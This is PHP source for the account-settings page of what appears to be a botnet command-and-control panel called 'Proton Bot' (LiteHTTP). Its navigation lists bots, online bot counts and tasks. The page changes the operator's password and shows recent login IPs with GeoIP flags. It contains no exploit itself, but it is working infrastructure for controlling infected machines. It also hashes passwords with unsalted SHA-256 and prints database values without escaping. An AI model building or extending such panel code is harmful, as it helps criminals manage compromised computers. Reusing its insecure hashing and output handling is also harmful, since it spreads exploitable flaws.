<?php
$u = explode(":", $_SESSION['LiteHTTP']);
$username = $u[0];

include 'inc/stats.php';
include 'inc/geo/geoip.inc';
include 'inc/localization.php';
$gi = geoip_open("inc/geo/GeoIP.dat", "");
?>
<!DOCTYPE html>
<html>
<head>
	<meta charset="UTF-8">
	<title>Control Panel</title>
	<meta content='width=device-width, initial-scale=1, maximum-scale=1, user-scalable=no' name='viewport'>
	<link href="css/bootstrap.min.css" rel="stylesheet" type="text/css" />
	<link href="css/font-awesome.min.css" rel="stylesheet" type="text/css" />
	<link href="css/ionicons.min.css" rel="stylesheet" type="text/css" />
	<link href="css/main.css" rel="stylesheet" type="text/css" />
	<!--[if lt IE 9]>
		<script src="js/html5shiv.js"></script>
		<script src="js/respond.min.js"></script>
	<![endif]-->
</head>
<body class="wysihtml5-supported skin-black fixed">
	<header class="header">
		<a href="?p=main" class="logo">
			Proton Bot
		</a>
		<nav class="navbar navbar-static-top" role="navigation">
			<div class="navbar-right">
                <ul class="nav navbar-nav">
                    <li>
                        <a href = "inc/localization.php?language=ENG">
                            <img src="img/flags/gb.png" alt="English">
						</a>
                    </li>
                    <li>
                        <a style="padding-left:0px" href = "inc/localization.php?language=RU">
                            <img src="img/flags/ru.png" alt="Русский">
                        </a>
                    </li>
					<li class="dropdown user user-menu">
						<a style="padding-left:0px" href="#" class="dropdown-toggle" data-toggle="dropdown">
							<i class="glyphicon glyphicon-user"></i>
							<span><?php echo $username; ?> <i class="caret"></i></span>
						</a>
						<ul class="dropdown-menu">
							<li class="user-footer">
								<div class="pull-left">
									<a href="?p=account" class="btn btn-default btn-flat"><?php print($pageText['editaccount'][0]); ?></a>
								</div>
								<div class="pull-right">
									<a href="?p=logout" class="btn btn-default btn-flat"><?php print($pageText['logout'][0]); ?></a>
								</div>
							</li>
						</ul>
					</li>
				</ul>
			</div>
		</nav>
	</header>
	<div class="wrapper row-offcanvas row-offcanvas-left">
		<aside class="left-side sidebar-offcanvas">
			<section class="sidebar">
				<ul class="sidebar-menu">
					<li>
						<a href="?p=main">
							<i class="fa fa-dashboard"></i> <span> <?php print($pageText['dashboard'][0]); ?> </span>
						</a>
					</li>
					<li>
						<a href="?p=bots">
							<i class="fa fa-list"></i> <span> <?php print($pageText['bots'][0]); ?> </span>
							<small id ="online-left-bar" class="badge pull-right bg-green">
    							<?php
        							echo $online;
                                ?>
                            </small>
						</a>
					</li>
					<li>
						<a href="?p=tasks">
							<i class="fa fa-bar-chart"></i> <span> <?php print($pageText['tasks'][0]); ?> </span>
						</a>
					</li>
					<li>
						<a href="?p=settings">
							<i class="fa fa-cog"></i> <span> <?php print($pageText['settings'][0]); ?> </span>
						</a>
					</li>
					<li>
						<a href="?p=users">
							<i class="fa fa-users"></i> <span> <?php print($pageText['users'][0]); ?> </span>
						</a>
					</li>
					<li>
						<a href="?p=logs">
							<i class="fa fa-list-alt"></i> <span> <?php print($pageText['logs'][0]); ?> </span>
						</a>
					</li>
					<li>
						<a href="?p=help">
							<i class="fa fa-question"></i> <span> <?php print($pageText['help'][0]); ?> </span>
						</a>
					</li>
				</ul>
			</section>
		</aside>
		<aside class="right-side">
			<br>
			<div class="col-lg-12 col-xs-24">
				<?php
				if (isset($_POST['doChange']))
				{
					$oldpass = $_POST['oldpass'];
					$newpass = $_POST['newpass'];
					$newpas2 = $_POST['newpass2'];
					if (empty($oldpass) || empty($newpass) || empty($newpas2))
					{
						echo '<div class="alert alert-danger">'.$pageText['oneOfTheFieldsWereEmpty'][0].'</div>';
					}else{
						if ($newpass == $newpas2)
						{
							$oh = hash("sha256", $oldpass);
							$op_sql = $odb->prepare("SELECT password FROM users WHERE username = :u");
							$op_sql->execute(array(":u" => $username));
							$op = $op_sql->fetchColumn(0);
							if ($oh == $op)
							{
								$nh = hash("sha256", $newpass);
								$up = $odb->prepare("UPDATE users SET password = :p WHERE username = :u");
								$up->execute(array(":p" => $nh, ":u" => $username));
								echo '<div class="alert alert-success">'.$pageText['passwordChanged'][0].'</div><meta http-equiv="refresh" content="2">';
							}else{
								echo '<div class="alert alert-danger">'.$pageText['currentPasswordWasIncorrect'][0].'</div>';
							}
						}else{
							echo '<div class="alert alert-danger">'.$pageText['passwordsDidNotMatch'][0].'</div>';
						}
					}
				}
				?>
			</div>
			<div class="clearfix"></div>
			<section class="content invoice">
				<div class="row">
					<div class="col-xs-12">
						<h2 class="page-header">
							<?php
							$ls = $odb->prepare("SELECT ipaddress FROM plogs WHERE username = :u AND action = 'Logged in' ORDER BY date DESC LIMIT 1,1");
							$ls->execute(array(":u" => $username));
							$l = $ls->fetchColumn(0);
							if ($l == "" || $l == NULL)
							{
								$l = "Unknown";
							}else{
								$l .= '&nbsp;<img src="img/flags/'.strtolower(geoip_country_code_by_addr($gi, $l)).'.png">';
							}
							?>
							<i class="fa fa-user"></i> <?php echo $username; ?>
							<small class="pull-right"><?php print($pageText['lastKnownIP'][0]); ?>: <b><?php echo $l; ?></b></small>
						</h2>
					</div>
				</div>
				<div class="row invoice-info">
					<div class="col-sm-3 invoice-col">
						<h4><?php print($pageText['changepassword'][0]); ?></h4>
						<hr>
						<form action="" method="POST">
							<label><?php print($pageText['currentpassword'][0]); ?></label>
							<input type="password" class="form-control" name="oldpass">
							<br>
							<label><?php print($pageText['newpassword'][0]); ?></label>
							<input type="password" class="form-control" name="newpass">
							<br>
							<label><?php print($pageText['confirmpassword'][0]); ?></label>
							<input type="password" class="form-control" name="newpass2">
							<br>
							<center><input type="submit" class="btn btn-danger" name="doChange" value="<?php print($pageText['changepassword'][0]); ?>"></center>
						</form>
					</div>
					<div class="col-sm-6 invoice-col">
						<h4><?php print($pageText['last5logs'][0]); ?></h4>
						<hr>
						<table class="table table-condensed table-bordered table-striped table-hover">
							<thead>
								<tr>
									<th>#</th>
									<th><?php print($pageText['ip'][0]); ?></th>
									<th><?php print($pageText['action'][0]); ?></th>
									<th><?php print($pageText['date'][0]); ?></th>
								</tr>
							</thead>
							<tbody>
								<?php
								$lgs = $odb->prepare("SELECT * FROM plogs WHERE username = :u ORDER BY date DESC LIMIT 5");
								$lgs->execute(array(":u" => $username));
								while ($lg = $lgs->fetch(PDO::FETCH_ASSOC))
								{
									echo '<tr><td>'.$lg['id'].'</td><td>'.$lg['ipaddress'].'&nbsp;<img src="img/flags/'.strtolower(geoip_country_code_by_addr($gi, $lg['ipaddress'])).'.png"></td><td>'.$lg['action'].'</td><td>'.date("m-d-Y, h:i A", $lg['date']).'</td></tr>';
								}
								?>
							</tbody>
						</table>
					</div>
				</div>
			</section>
		</aside>
	</div>
	<script>
		$(document).ready(function() {
			setInterval(function () {
				$('#online-left-bar').load('../inc/jquery/online.php')
			}, 2000);
		});
	</script>
	<script src="js/jquery.min.js" type="text/javascript"></script>
	<script src="js/bootstrap.min.js" type="text/javascript"></script>
	<script src="js/jquery-ui.min.js" type="text/javascript"></script>
</body>
</html>